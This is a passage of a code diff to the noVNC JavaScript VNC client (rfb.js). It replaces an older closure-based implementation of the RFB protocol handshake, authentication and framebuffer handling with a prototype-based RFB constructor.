- ],
-
- encHandlers = {},
- encNames = {},
- encStats = {}, // [rectCnt, rectCntTot]
-
- ws = null, // Websock object
- display = null, // Display object
- keyboard = null, // Keyboard input handler object
- mouse = null, // Mouse input handler object
- sendTimer = null, // Send Queue check timer
- connTimer = null, // connection timer
- disconnTimer = null, // disconnection timer
- msgTimer = null, // queued handle_message timer
-
- // Frame buffer update state
- FBU = {
- rects : 0,
- subrects : 0, // RRE
- lines : 0, // RAW
- tiles : 0, // HEXTILE
- bytes : 0,
- x : 0,
- y : 0,
- width : 0,
- height : 0,
- encoding : 0,
- subencoding : -1,
- background : null,
- imgQ : [], // TIGHT_PNG image queue
- zlibs : [] // TIGHT zlib streams
- },
-
- fb_Bpp = 4,
- fb_depth = 3,
- fb_width = 0,
- fb_height = 0,
- fb_name = "",
-
- scan_imgQ_rate = 40, // 25 times per second or so
- last_req_time = 0,
- rre_chunk_sz = 100,
-
- timing = {
- last_fbu : 0,
- fbu_total : 0,
- fbu_total_cnt : 0,
- full_fbu_total : 0,
- full_fbu_cnt : 0,
-
- fbu_rt_start : 0,
- fbu_rt_total : 0,
- fbu_rt_cnt : 0,
- pixels : 0
- },
-
- test_mode = false,
-
- def_con_timeout = Websock_native ? 2 : 5,
-
- /* Mouse state */
- mouse_buttonMask = 0,
- mouse_arr = [],
- viewportDragging = false,
- viewportDragPos = {};
-
-// Configuration attributes
-Util.conf_defaults(conf, that, defaults, [
- ['target', 'wo', 'dom', null, 'VNC display rendering Canvas object'],
- ['focusContainer', 'wo', 'dom', document, 'DOM element that captures keyboard input'],
-
- ['encrypt', 'rw', 'bool', false, 'Use TLS/SSL/wss encryption'],
- ['true_color', 'rw', 'bool', true, 'Request true color pixel data'],
- ['local_cursor', 'rw', 'bool', false, 'Request locally rendered cursor'],
- ['shared', 'rw', 'bool', true, 'Request shared mode'],
- ['view_only', 'rw', 'bool', false, 'Disable client mouse/keyboard'],
-
- ['connectTimeout', 'rw', 'int', def_con_timeout, 'Time (s) to wait for connection'],
- ['disconnectTimeout', 'rw', 'int', 3, 'Time (s) to wait for disconnection'],
-
- ['viewportDrag', 'rw', 'bool', false, 'Move the viewport on mouse drags'],
-
- ['check_rate', 'rw', 'int', 217, 'Timing (ms) of send/receive check'],
- ['fbu_req_rate', 'rw', 'int', 1413, 'Timing (ms) of frameBufferUpdate requests'],
-
- // Callback functions
- ['onUpdateState', 'rw', 'func', function() { },
- 'onUpdateState(rfb, state, oldstate, statusMsg): RFB state update/change '],
- ['onPasswordRequired', 'rw', 'func', function() { },
- 'onPasswordRequired(rfb): VNC password is required '],
- ['onClipboard', 'rw', 'func', function() { },
- 'onClipboard(rfb, text): RFB clipboard contents received'],
- ['onBell', 'rw', 'func', function() { },
- 'onBell(rfb): RFB Bell message received '],
- ['onFBUReceive', 'rw', 'func', function() { },
- 'onFBUReceive(rfb, fbu): RFB FBU received but not yet processed '],
- ['onFBUComplete', 'rw', 'func', function() { },
- 'onFBUComplete(rfb, fbu): RFB FBU received and processed '],
-
- // These callback names are deprecated
- ['updateState', 'rw', 'func', function() { },
- 'obsolete, use onUpdateState'],
- ['clipboardReceive', 'rw', 'func', function() { },
- 'obsolete, use onClipboard']
- ]);
-
-
-// Override/add some specific configuration getters/setters
-that.set_local_cursor = function(cursor) {
- if ((!cursor) || (cursor in {'0':1, 'no':1, 'false':1})) {
- conf.local_cursor = false;
- } else {
- if (display.get_cursor_uri()) {
- conf.local_cursor = true;
- } else {
- Util.Warn("Browser does not support local cursor");
- }
- }
-};
-
-// These are fake configuration getters
-that.get_display = function() { return display; };
-
-that.get_keyboard = function() { return keyboard; };
-
-that.get_mouse = function() { return mouse; };
-
-
-
-//
-// Setup routines
-//
-
-// Create the public API interface and initialize values that stay
-// constant across connect/disconnect
-function constructor() {
- var i, rmode;
- Util.Debug(">> RFB.constructor");
-
- // Create lookup tables based encoding number
- for (i=0; i < encodings.length; i+=1) {
- encHandlers[encodings[i][1]] = encHandlers[encodings[i][0]];
- encNames[encodings[i][1]] = encodings[i][0];
- encStats[encodings[i][1]] = [0, 0];
- }
- // Initialize display, mouse, keyboard, and websock
- try {
- display = new Display({'target': conf.target});
- } catch (exc) {
- Util.Error("Display exception: " + exc);
- updateState('fatal', "No working Display");
- }
- keyboard = new Keyboard({'target': conf.focusContainer,
- 'onKeyPress': keyPress});
- mouse = new Mouse({'target': conf.target,
- 'onMouseButton': mouseButton,
- 'onMouseMove': mouseMove});
-
- rmode = display.get_render_mode();
-
- ws = new Websock();
- ws.on('message', handle_message);
- ws.on('open', function() {
- if (rfb_state === "connect") {
- updateState('ProtocolVersion', "Starting VNC handshake");
- } else {
- fail("Got unexpected WebSockets connection");
- }
- });
- ws.on('close', function(e) {
- if (e.code) {
- Util.Info("Close code: " + e.code + ", reason: " + e.reason + ", wasClean: " + e.wasClean);
- }
- if (rfb_state === 'disconnect') {
- updateState('disconnected', 'VNC disconnected');
- } else if (rfb_state === 'ProtocolVersion') {
- fail('Failed to connect to server');
- } else if (rfb_state in {'failed':1, 'disconnected':1}) {
- Util.Error("Received onclose while disconnected");
- } else {
- fail('Server disconnected');
- }
- });
- ws.on('error', function(e) {
- fail("WebSock error: " + e);
- });
-
-
- init_vars();
-
- /* Check web-socket-js if no builtin WebSocket support */
- if (Websock_native) {
- Util.Info("Using native WebSockets");
- updateState('loaded', 'noVNC ready: native WebSockets, ' + rmode);
- } else {
- Util.Warn("Using web-socket-js bridge. Flash version: " +
- Util.Flash.version);
- if ((! Util.Flash) ||
- (Util.Flash.version < 9)) {
- updateState('fatal', "WebSockets or <a href='http://get.adobe.com/flashplayer'>Adobe Flash<\/a> is required");
- } else if (document.location.href.substr(0, 7) === "file://") {
- updateState('fatal',
- "'file://' URL is incompatible with Adobe Flash");
- } else {
- updateState('loaded', 'noVNC ready: WebSockets emulation, ' + rmode);
- }
- }
-
- Util.Debug("<< RFB.constructor");
- return that; // Return the public API interface
-}
-
-function connect() {
- Util.Debug(">> RFB.connect");
- var uri;
-
- if (typeof UsingSocketIO !== "undefined") {
- uri = "http://" + rfb_host + ":" + rfb_port + "/" + rfb_path;
- } else {
- if (conf.encrypt) {
- uri = "wss://";
- } else {
- uri = "ws://";
- }
- uri += rfb_host + ":" + rfb_port + "/" + rfb_path;
- }
- Util.Info("connecting to " + uri);
- ws.open(uri);
-
- Util.Debug("<< RFB.connect");
-}
-
-// Initialize variables that are reset before each connection
-init_vars = function() {
- var i;
-
- /* Reset state */
- ws.init();
-
- FBU.rects = 0;
- FBU.subrects = 0; // RRE and HEXTILE
- FBU.lines = 0; // RAW
- FBU.tiles = 0; // HEXTILE
- FBU.imgQ = []; // TIGHT_PNG image queue
- FBU.zlibs = []; // TIGHT zlib encoders
- mouse_buttonMask = 0;
- mouse_arr = [];
-
- // Clear the per connection encoding stats
- for (i=0; i < encodings.length; i+=1) {
- encStats[encodings[i][1]][0] = 0;
- }
-
- for (i=0; i < 4; i++) {
- //FBU.zlibs[i] = new InflateStream();
- FBU.zlibs[i] = new TINF();
- FBU.zlibs[i].init();
- }
-};
-
-// Print statistics
-print_stats = function() {
- var i, s;
- Util.Info("Encoding stats for this connection:");
- for (i=0; i < encodings.length; i+=1) {
- s = encStats[encodings[i][1]];
- if ((s[0] + s[1]) > 0) {
- Util.Info(" " + encodings[i][0] + ": " +
- s[0] + " rects");
- }
- }
- Util.Info("Encoding stats since page load:");
- for (i=0; i < encodings.length; i+=1) {
- s = encStats[encodings[i][1]];
- if ((s[0] + s[1]) > 0) {
- Util.Info(" " + encodings[i][0] + ": " +
- s[1] + " rects");
- }
- }
-};
-
-//
-// Utility routines
-//
-
-
-/*
- * Page states:
- * loaded - page load, equivalent to disconnected
- * disconnected - idle state
- * connect - starting to connect (to ProtocolVersion)
- * normal - connected
- * disconnect - starting to disconnect
- * failed - abnormal disconnect
- * fatal - failed to load page, or fatal error
- *
- * RFB protocol initialization states:
- * ProtocolVersion
- * Security
- * Authentication
- * password - waiting for password, not part of RFB
- * SecurityResult
- * ClientInitialization - not triggered by server message
- * ServerInitialization (to normal)
- */
-updateState = function(state, statusMsg) {
- var func, cmsg, oldstate = rfb_state;
-
- if (state === oldstate) {
- /* Already here, ignore */
- Util.Debug("Already in state '" + state + "', ignoring.");
- return;
- }
-
- /*
- * These are disconnected states. A previous connect may
- * asynchronously cause a connection so make sure we are closed.
- */
- if (state in {'disconnected':1, 'loaded':1, 'connect':1,
- 'disconnect':1, 'failed':1, 'fatal':1}) {
- if (sendTimer) {
- clearInterval(sendTimer);
- sendTimer = null;
+(function () {
+ "use strict";
+ RFB = function (defaults) {
+ if (!defaults) {
+ defaults = {};
}
- if (msgTimer) {
- clearInterval(msgTimer);
- msgTimer = null;
+ this._rfb_host = '';
+ this._rfb_port = 5900;
+ this._rfb_password = '';
+ this._rfb_path = '';
+
+ this._rfb_state = 'disconnected';
+ this._rfb_version = 0;
+ this._rfb_max_version = 3.8;
+ this._rfb_auth_scheme = '';
+
+ this._rfb_tightvnc = false;
+ this._rfb_xvp_ver = 0;
+
+ // In preference order
+ this._encodings = [
+ ['COPYRECT', 0x01 ],
+ ['TIGHT', 0x07 ],
+ ['TIGHT_PNG', -260 ],
+ ['HEXTILE', 0x05 ],
+ ['RRE', 0x02 ],
+ ['RAW', 0x00 ],
+ ['DesktopSize', -223 ],
+ ['Cursor', -239 ],
+
+ // Psuedo-encoding settings
+ //['JPEG_quality_lo', -32 ],
+ ['JPEG_quality_med', -26 ],
+ //['JPEG_quality_hi', -23 ],
+ //['compress_lo', -255 ],
+ ['compress_hi', -247 ],
+ ['last_rect', -224 ],
+ ['xvp', -309 ]
+ ];
+
+ this._encHandlers = {};
+ this._encNames = {};
+ this._encStats = {};
+
+ this._sock = null; // Websock object
+ this._display = null; // Display object
+ this._keyboard = null; // Keyboard input handler object
+ this._mouse = null; // Mouse input handler object
+ this._sendTimer = null; // Send Queue check timer
+ this._disconnTimer = null; // disconnection timer
+ this._msgTimer = null; // queued handle_msg timer
+
+ // Frame buffer update state
+ this._FBU = {
+ rects: 0,
+ subrects: 0, // RRE
+ lines: 0, // RAW
+ tiles: 0, // HEXTILE
+ bytes: 0,
+ x: 0,
+ y: 0,
+ width: 0,
+ height: 0,
+ encoding: 0,
+ subencoding: -1,
+ background: null,
+ zlib: [] // TIGHT zlib streams
+ };
+
+ this._fb_Bpp = 4;
+ this._fb_depth = 3;
+ this._fb_width = 0;
+ this._fb_height = 0;
+ this._fb_name = "";
+
+ this._rre_chunk_sz = 100;
+
+ this._timing = {
+ last_fbu: 0,
+ fbu_total: 0,
+ fbu_total_cnt: 0,
+ full_fbu_total: 0,
+ full_fbu_cnt: 0,
+
+ fbu_rt_start: 0,
+ fbu_rt_total: 0,
+ fbu_rt_cnt: 0,
+ pixels: 0
+ };
+
+ // Mouse state
+ this._mouse_buttonMask = 0;
+ this._mouse_arr = [];
+ this._viewportDragging = false;
+ this._viewportDragPos = {};
+
+ // set the default value on user-facing properties
+ Util.set_defaults(this, defaults, {
+ 'target': 'null', // VNC display rendering Canvas object
+ 'focusContainer': document, // DOM element that captures keyboard input
+ 'encrypt': false, // Use TLS/SSL/wss encryption
+ 'true_color': true, // Request true color pixel data
+ 'local_cursor': false, // Request locally rendered cursor
+ 'shared': true, // Request shared mode
+ 'view_only': false, // Disable client mouse/keyboard
+ 'xvp_password_sep': '@', // Separator for XVP password fields
+ 'disconnectTimeout': 3, // Time (s) to wait for disconnection
+ 'wsProtocols': ['binary', 'base64'], // Protocols to use in the WebSocket connection
+ 'repeaterID': '', // [UltraVNC] RepeaterID to connect to
+ 'viewportDrag': false, // Move the viewport on mouse drags
+
+ // Callback functions
+ 'onUpdateState': function () { }, // onUpdateState(rfb, state, oldstate, statusMsg): state update/change
+ 'onPasswordRequired': function () { }, // onPasswordRequired(rfb): VNC password is required
+ 'onClipboard': function () { }, // onClipboard(rfb, text): RFB clipboard contents received
+ 'onBell': function () { }, // onBell(rfb): RFB Bell message received
+ 'onFBUReceive': function () { }, // onFBUReceive(rfb, fbu): RFB FBU received but not yet processed
+ 'onFBUComplete': function () { }, // onFBUComplete(rfb, fbu): RFB FBU received and processed
+ 'onFBResize': function () { }, // onFBResize(rfb, width, height): frame buffer resized
+ 'onDesktopName': function () { }, // onDesktopName(rfb, name): desktop name received
+ 'onXvpInit': function () { }, // onXvpInit(version): XVP extensions active for this connection
+ });
+
+ // main setup
+ Util.Debug(">> RFB.constructor");
+
+ // populate encHandlers with bound versions
+ Object.keys(RFB.encodingHandlers).forEach(function (encName) {
+ this._encHandlers[encName] = RFB.encodingHandlers[encName].bind(this);
+ }.bind(this));
+
+ // Create lookup tables based on encoding number
+ for (var i = 0; i < this._encodings.length; i++) {
+ this._encHandlers[this._encodings[i][1]] = this._encHandlers[this._encodings[i][0]];
+ this._encNames[this._encodings[i][1]] = this._encodings[i][0];
+ this._encStats[this._encodings[i][1]] = [0, 0];
}
- if (display && display.get_context()) {
- keyboard.ungrab();
- mouse.ungrab();
- display.defaultCursor();
- if ((Util.get_logging() !== 'debug') ||
- (state === 'loaded')) {
- // Show noVNC logo on load and when disconnected if
- // debug is off
- display.clear();
- }
+ try {
+ this._display = new Display({target: this._target});
+ } catch (exc) {
+ Util.Error("Display exception: " + exc);
+ this._updateState('fatal', "No working Display");
}
- ws.close();
- }
+ this._keyboard = new Keyboard({target: this._focusContainer,
+ onKeyPress: this._handleKeyPress.bind(this)});
- if (oldstate === 'fatal') {
- Util.Error("Fatal error, cannot continue");
- }
+ this._mouse = new Mouse({target: this._target,
+ onMouseButton: this._handleMouseButton.bind(this),
+ onMouseMove: this._handleMouseMove.bind(this),
+ notify: this._keyboard.sync.bind(this._keyboard)});
- if ((state === 'failed') || (state === 'fatal')) {
- func = Util.Error;
- } else {
- func = Util.Warn;
- }
-
- if ((oldstate === 'failed') && (state === 'disconnected')) {
- // Do disconnect action, but stay in failed state.
- rfb_state = 'failed';
- } else {
- rfb_state = state;
- }
-
- cmsg = typeof(statusMsg) !== 'undefined' ? (" Msg: " + statusMsg) : "";
- func("New state '" + rfb_state + "', was '" + oldstate + "'." + cmsg);
-
- if (connTimer && (rfb_state !== 'connect')) {
- Util.Debug("Clearing connect timer");
- clearInterval(connTimer);
- connTimer = null;
- }
-
- if (disconnTimer && (rfb_state !== 'disconnect')) {
- Util.Debug("Clearing disconnect timer");
- clearInterval(disconnTimer);
- disconnTimer = null;
- }
-
- switch (state) {
- case 'normal':
- if ((oldstate === 'disconnected') || (oldstate === 'failed')) {
- Util.Error("Invalid transition from 'disconnected' or 'failed' to 'normal'");
- }
-
- break;
-
-
- case 'connect':
-
- connTimer = setTimeout(function () {
- fail("Connect timeout");
- }, conf.connectTimeout * 1000);
-
- init_vars();
- connect();
-
- // WebSocket.onopen transitions to 'ProtocolVersion'
- break;
-
-
- case 'disconnect':
-
- if (! test_mode) {
- disconnTimer = setTimeout(function () {
- fail("Disconnect timeout");
- }, conf.disconnectTimeout * 1000);
- }
-
- print_stats();
-
- // WebSocket.onclose transitions to 'disconnected'
- break;
-
-
- case 'failed':
- if (oldstate === 'disconnected') {
- Util.Error("Invalid transition from 'disconnected' to 'failed'");
- }
- if (oldstate === 'normal') {
- Util.Error("Error while connected.");
- }
- if (oldstate === 'init') {
- Util.Error("Error while initializing.");
- }
-
- // Make sure we transition to disconnected
- setTimeout(function() { updateState('disconnected'); }, 50);
-
- break;
-
-
- default:
- // No state change action to take
-
- }
-
- if ((oldstate === 'failed') && (state === 'disconnected')) {
- // Leave the failed message
- conf.updateState(that, state, oldstate); // Obsolete
- conf.onUpdateState(that, state, oldstate);
- } else {
- conf.updateState(that, state, oldstate, statusMsg); // Obsolete
- conf.onUpdateState(that, state, oldstate, statusMsg);
- }
-};
-
-fail = function(msg) {
- updateState('failed', msg);
- return false;
-};
-
-handle_message = function() {
- //Util.Debug(">> handle_message ws.rQlen(): " + ws.rQlen());
- //Util.Debug("ws.rQslice(0,20): " + ws.rQslice(0,20) + " (" + ws.rQlen() + ")");
- if (ws.rQlen() === 0) {
- Util.Warn("handle_message called on empty receive queue");
- return;
- }
- switch (rfb_state) {
- case 'disconnected':
- case 'failed':
- Util.Error("Got data while disconnected");
- break;
- case 'normal':
- if (normal_msg() && ws.rQlen() > 0) {
- // true means we can continue processing
- // Give other events a chance to run
- if (msgTimer === null) {
- Util.Debug("More data to process, creating timer");
- msgTimer = setTimeout(function () {
- msgTimer = null;
- handle_message();
- }, 10);
+ this._sock = new Websock();
+ this._sock.on('message', this._handle_message.bind(this));
+ this._sock.on('open', function () {
+ if (this._rfb_state === 'connect') {
+ this._updateState('ProtocolVersion', "Starting VNC handshake");
} else {
- Util.Debug("More data to process, existing timer");
+ this._fail("Got unexpected WebSocket connection");
}
- }
- break;
- default:
- init_msg();
- break;
- }
-};
-
-
-function genDES(password, challenge) {
- var i, passwd = [];
- for (i=0; i < password.length; i += 1) {
- passwd.push(password.charCodeAt(i));
- }
- return (new DES(passwd)).encrypt(challenge);
-}
-
-function flushClient() {
- if (mouse_arr.length > 0) {
- //send(mouse_arr.concat(fbUpdateRequests()));
- ws.send(mouse_arr);
- setTimeout(function() {
- ws.send(fbUpdateRequests());
- }, 50);
-
- mouse_arr = [];
- return true;
- } else {
- return false;
- }
-}
-
-// overridable for testing
-checkEvents = function() {
- var now;
- if (rfb_state === 'normal' && !viewportDragging) {
- if (! flushClient()) {
- now = new Date().getTime();
- if (now > last_req_time + conf.fbu_req_rate) {
- last_req_time = now;
- ws.send(fbUpdateRequests());
- }
- }
- }
- setTimeout(checkEvents, conf.check_rate);
-};
-
-keyPress = function(keysym, down) {
- var arr;
-
- if (conf.view_only) { return; } // View only, skip keyboard events
-
- arr = keyEvent(keysym, down);
- arr = arr.concat(fbUpdateRequests());
- ws.send(arr);
-};
-
-mouseButton = function(x, y, down, bmask) {
- if (down) {
- mouse_buttonMask |= bmask;
- } else {
- mouse_buttonMask ^= bmask;
- }
-
- if (conf.viewportDrag) {
- if (down && !viewportDragging) {
- viewportDragging = true;
- viewportDragPos = {'x': x, 'y': y};
-
- // Skip sending mouse events
- return;
- } else {
- viewportDragging = false;
- ws.send(fbUpdateRequests()); // Force immediate redraw
- }
- }
-
- if (conf.view_only) { return; } // View only, skip mouse events
-
- mouse_arr = mouse_arr.concat(
- pointerEvent(display.absX(x), display.absY(y)) );
- flushClient();
-};
-
-mouseMove = function(x, y) {
- //Util.Debug('>> mouseMove ' + x + "," + y);
- var deltaX, deltaY;
-
- if (viewportDragging) {
- //deltaX = x - viewportDragPos.x; // drag viewport
- deltaX = viewportDragPos.x - x; // drag frame buffer
- //deltaY = y - viewportDragPos.y; // drag viewport
- deltaY = viewportDragPos.y - y; // drag frame buffer
- viewportDragPos = {'x': x, 'y': y};
-
- display.viewportChange(deltaX, deltaY);
-
- // Skip sending mouse events
- return;
- }
-
- if (conf.view_only) { return; } // View only, skip mouse events
-
- mouse_arr = mouse_arr.concat(
- pointerEvent(display.absX(x), display.absY(y)) );
-};
-
-
-//
-// Server message handlers
-//
-
-// RFB/VNC initialisation message handler
-init_msg = function() {
- //Util.Debug(">> init_msg [rfb_state '" + rfb_state + "']");
-
- var strlen, reason, length, sversion, cversion,
- i, types, num_types, challenge, response, bpp, depth,
- big_endian, red_max, green_max, blue_max, red_shift,
- green_shift, blue_shift, true_color, name_length;
-
- //Util.Debug("ws.rQ (" + ws.rQlen() + ") " + ws.rQslice(0));
- switch (rfb_state) {
-
- case 'ProtocolVersion' :
- if (ws.rQlen() < 12) {
- return fail("Incomplete protocol version");
- }
- sversion = ws.rQshiftStr(12).substr(4,7);
- Util.Info("Server ProtocolVersion: " + sversion);
- switch (sversion) {
- case "003.003": rfb_version = 3.3; break;
- case "003.006": rfb_version = 3.3; break; // UltraVNC
- case "003.889": rfb_version = 3.3; break; // Apple Remote Desktop
- case "003.007": rfb_version = 3.7; break;
- case "003.008": rfb_version = 3.8; break;
- case "004.000": rfb_version = 3.8; break; // Intel AMT KVM
- default:
- return fail("Invalid server version " + sversion);
- }
- if (rfb_version > rfb_max_version) {
- rfb_version = rfb_max_version;
- }
-
- if (! test_mode) {
- sendTimer = setInterval(function() {
- // Send updates either at a rate of one update
- // every 50ms, or whatever slower rate the network
- // can handle.
- ws.flush();
- }, 50);
- }
-
- cversion = "00" + parseInt(rfb_version,10) +
- ".00" + ((rfb_version * 10) % 10);
- ws.send_string("RFB " + cversion + "\n");
- updateState('Security', "Sent ProtocolVersion: " + cversion);
- break;
-
- case 'Security' :
- if (rfb_version >= 3.7) {
- // Server sends supported list, client decides
- num_types = ws.rQshift8();
- if (ws.rQwait("security type", num_types, 1)) { return false; }
- if (num_types === 0) {
- strlen = ws.rQshift32();
- reason = ws.rQshiftStr(strlen);
- return fail("Security failure: " + reason);
- }
- rfb_auth_scheme = 0;
- types = ws.rQshiftBytes(num_types);
- Util.Debug("Server security types: " + types);
- for (i=0; i < types.length; i+=1) {
- if ((types[i] > rfb_auth_scheme) && (types[i] < 3)) {
- rfb_auth_scheme = types[i];
+ }.bind(this));
+ this._sock.on('close', function (e) {
+ Util.Warn("WebSocket on-close event");
+ var msg = "";
+ if (e.code) {
+ msg = " (code: " + e.code;
+ if (e.reason) {
+ msg += ", reason: " + e.reason;
}
+ msg += ")";
}
- if (rfb_auth_scheme === 0) {
- return fail("Unsupported security types: " + types);
- }
-
- ws.send([rfb_auth_scheme]);
- } else {
- // Server decides
- if (ws.rQwait("security scheme", 4)) { return false; }
- rfb_auth_scheme = ws.rQshift32();
- }
- updateState('Authentication',
- "Authenticating using scheme: " + rfb_auth_scheme);
- init_msg(); // Recursive fallthrough (workaround JSLint complaint)
- break;
-
- // Triggered by fallthough, not by server message
- case 'Authentication' :
- //Util.Debug("Security auth scheme: " + rfb_auth_scheme);
- switch (rfb_auth_scheme) {
- case 0: // connection failed
- if (ws.rQwait("auth reason", 4)) { return false; }
- strlen = ws.rQshift32();
- reason = ws.rQshiftStr(strlen);
- return fail("Auth failure: " + reason);
- case 1: // no authentication
- if (rfb_version >= 3.8) {
- updateState('SecurityResult');
- return;
- }
- // Fall through to ClientInitialisation
- break;
- case 2: // VNC authentication
- if (rfb_password.length === 0) {
- // Notify via both callbacks since it is kind of
- // a RFB state change and a UI interface issue.
- updateState('password', "Password Required");
- conf.onPasswordRequired(that);
- return;
- }
- if (ws.rQwait("auth challenge", 16)) { return false; }
- challenge = ws.rQshiftBytes(16);
- //Util.Debug("Password: " + rfb_password);
- //Util.Debug("Challenge: " + challenge +
- // " (" + challenge.length + ")");
- response = genDES(rfb_password, challenge);
- //Util.Debug("Response: " + response +
- // " (" + response.length + ")");
-
- //Util.Debug("Sending DES encrypted auth response");
- ws.send(response);
- updateState('SecurityResult');
- return;
- default:
- fail("Unsupported auth scheme: " + rfb_auth_scheme);
- return;
- }
- updateState('ClientInitialisation', "No auth required");
- init_msg(); // Recursive fallthrough (workaround JSLint complaint)
- break;
-
- case 'SecurityResult' :
- if (ws.rQwait("VNC auth response ", 4)) { return false; }
- switch (ws.rQshift32()) {
- case 0: // OK
- // Fall through to ClientInitialisation
- break;
- case 1: // failed
- if (rfb_version >= 3.8) {
- length = ws.rQshift32();
- if (ws.rQwait("SecurityResult reason", length, 8)) {
- return false;
- }
- reason = ws.rQshiftStr(length);
- fail(reason);
- } else {
- fail("Authentication failed");
- }
- return;
- case 2: // too-many
- return fail("Too many auth attempts");
- }
- updateState('ClientInitialisation', "Authentication OK");
- init_msg(); // Recursive fallthrough (workaround JSLint complaint)
- break;
-
- // Triggered by fallthough, not by server message
- case 'ClientInitialisation' :
- ws.send([conf.shared ? 1 : 0]); // ClientInitialisation
- updateState('ServerInitialisation', "Authentication OK");
- break;
-
- case 'ServerInitialisation' :
- if (ws.rQwait("server initialization", 24)) { return false; }
-
- /* Screen size */
- fb_width = ws.rQshift16();
- fb_height = ws.rQshift16();
-
- /* PIXEL_FORMAT */
- bpp = ws.rQshift8();
- depth = ws.rQshift8();
- big_endian = ws.rQshift8();
- true_color = ws.rQshift8();
-
- red_max = ws.rQshift16();
- green_max = ws.rQshift16();
- blue_max = ws.rQshift16();
- red_shift = ws.rQshift8();
- green_shift = ws.rQshift8();
- blue_shift = ws.rQshift8();
- ws.rQshiftStr(3); // padding
-
- Util.Info("Screen: " + fb_width + "x" + fb_height +
- ", bpp: " + bpp + ", depth: " + depth +
- ", big_endian: " + big_endian +
- ", true_color: " + true_color +
- ", red_max: " + red_max +
- ", green_max: " + green_max +
- ", blue_max: " + blue_max +
- ", red_shift: " + red_shift +
- ", green_shift: " + green_shift +
- ", blue_shift: " + blue_shift);
-
- if (big_endian !== 0) {
- Util.Warn("Server native endian is not little endian");
- }
- if (red_shift !== 16) {
- Util.Warn("Server native red-shift is not 16");
- }
- if (blue_shift !== 0) {
- Util.Warn("Server native blue-shift is not 0");
- }
-
- /* Connection name/title */
- name_length = ws.rQshift32();
- fb_name = ws.rQshiftStr(name_length);
-
- if (conf.true_color && fb_name === "Intel(r) AMT KVM")
- {
- Util.Warn("Intel AMT KVM only support 8/16 bit depths. Disabling true color");
- conf.true_color = false;
- }
-
- display.set_true_color(conf.true_color);
- display.resize(fb_width, fb_height);
- keyboard.grab();
- mouse.grab();
-
- if (conf.true_color) {
- fb_Bpp = 4;
- fb_depth = 3;
- } else {
- fb_Bpp = 1;
- fb_depth = 1;
- }
-
- response = pixelFormat();
- response = response.concat(clientEncodings());
- response = response.concat(fbUpdateRequests());
- timing.fbu_rt_start = (new Date()).getTime();
- ws.send(response);
-
- /* Start pushing/polling */
- setTimeout(checkEvents, conf.check_rate);
- setTimeout(scan_tight_imgQ, scan_imgQ_rate);
-
- if (conf.encrypt) {
- updateState('normal', "Connected (encrypted) to: " + fb_name);
- } else {
- updateState('normal', "Connected (unencrypted) to: " + fb_name);
- }
- break;
- }
- //Util.Debug("<< init_msg");
-};
-
-
-/* Normal RFB/VNC server message handler */
-normal_msg = function() {
- //Util.Debug(">> normal_msg");
-
- var ret = true, msg_type, length, text,
- c, first_colour, num_colours, red, green, blue;
-
- if (FBU.rects > 0) {
- msg_type = 0;
- } else {
- msg_type = ws.rQshift8();
- }
- switch (msg_type) {
- case 0: // FramebufferUpdate
- ret = framebufferUpdate(); // false means need more data
- break;
- case 1: // SetColourMapEntries
- Util.Debug("SetColourMapEntries");
- ws.rQshift8(); // Padding
- first_colour = ws.rQshift16(); // First colour
- num_colours = ws.rQshift16();
- if (ws.rQwait("SetColourMapEntries", num_colours*6, 6)) { return false; }
-
- for (c=0; c < num_colours; c+=1) {
- red = ws.rQshift16();
- //Util.Debug("red before: " + red);
- red = parseInt(red / 256, 10);
- //Util.Debug("red after: " + red);
- green = parseInt(ws.rQshift16() / 256, 10);
- blue = parseInt(ws.rQshift16() / 256, 10);
- display.set_colourMap([blue, green, red], first_colour + c);
- }
- Util.Debug("colourMap: " + display.get_colourMap());
- Util.Info("Registered " + num_colours + " colourMap entries");
- //Util.Debug("colourMap: " + display.get_colourMap());
- break;
- case 2: // Bell
- Util.Debug("Bell");
- conf.onBell(that);
- break;
- case 3: // ServerCutText
- Util.Debug("ServerCutText");
- if (ws.rQwait("ServerCutText header", 7, 1)) { return false; }
- ws.rQshiftBytes(3); // Padding
- length = ws.rQshift32();
- if (ws.rQwait("ServerCutText", length, 8)) { return false; }
-
- text = ws.rQshiftStr(length);
- conf.clipboardReceive(that, text); // Obsolete
- conf.onClipboard(that, text);
- break;
- default:
- fail("Disconnected: illegal server message type " + msg_type);
- Util.Debug("ws.rQslice(0,30):" + ws.rQslice(0,30));
- break;
- }
- //Util.Debug("<< normal_msg");
- return ret;
-};
-
-framebufferUpdate = function() {
- var now, hdr, fbu_rt_diff, ret = true;
-
- if (FBU.rects === 0) {
- //Util.Debug("New FBU: ws.rQslice(0,20): " + ws.rQslice(0,20));
- if (ws.rQwait("FBU header", 3)) {
- ws.rQunshift8(0); // FBU msg_type
- return false;
- }
- ws.rQshift8(); // padding
- FBU.rects = ws.rQshift16();
- //Util.Debug("FramebufferUpdate, rects:" + FBU.rects);
- FBU.bytes = 0;
- timing.cur_fbu = 0;
- if (timing.fbu_rt_start > 0) {
- now = (new Date()).getTime();
- Util.Info("First FBU latency: " + (now - timing.fbu_rt_start));
- }
- }
-
- while (FBU.rects > 0) {
- if (rfb_state !== "normal") {
- return false;
- }
- if (ws.rQwait("FBU", FBU.bytes)) { return false; }
- if (FBU.bytes === 0) {
- if (ws.rQwait("rect header", 12)) { return false; }
- /* New FramebufferUpdate */
-
- hdr = ws.rQshiftBytes(12);
- FBU.x = (hdr[0] << 8) + hdr[1];
- FBU.y = (hdr[2] << 8) + hdr[3];
- FBU.width = (hdr[4] << 8) + hdr[5];
- FBU.height = (hdr[6] << 8) + hdr[7];
- FBU.encoding = parseInt((hdr[8] << 24) + (hdr[9] << 16) +
- (hdr[10] << 8) + hdr[11], 10);
-
- conf.onFBUReceive(that,
- {'x': FBU.x, 'y': FBU.y,
- 'width': FBU.width, 'height': FBU.height,
- 'encoding': FBU.encoding,
- 'encodingName': encNames[FBU.encoding]});
-
- if (encNames[FBU.encoding]) {
- // Debug:
- /*
- var msg = "FramebufferUpdate rects:" + FBU.rects;
- msg += " x: " + FBU.x + " y: " + FBU.y;
- msg += " width: " + FBU.width + " height: " + FBU.height;
- msg += " encoding:" + FBU.encoding;
- msg += "(" + encNames[FBU.encoding] + ")";
- msg += ", ws.rQlen(): " + ws.rQlen();
- Util.Debug(msg);
- */
+ if (this._rfb_state === 'disconnect') {
+ this._updateState('disconnected', 'VNC disconnected' + msg);
+ } else if (this._rfb_state === 'ProtocolVersion') {
+ this._fail('Failed to connect to server' + msg);
+ } else if (this._rfb_state in {'failed': 1, 'disconnected': 1}) {
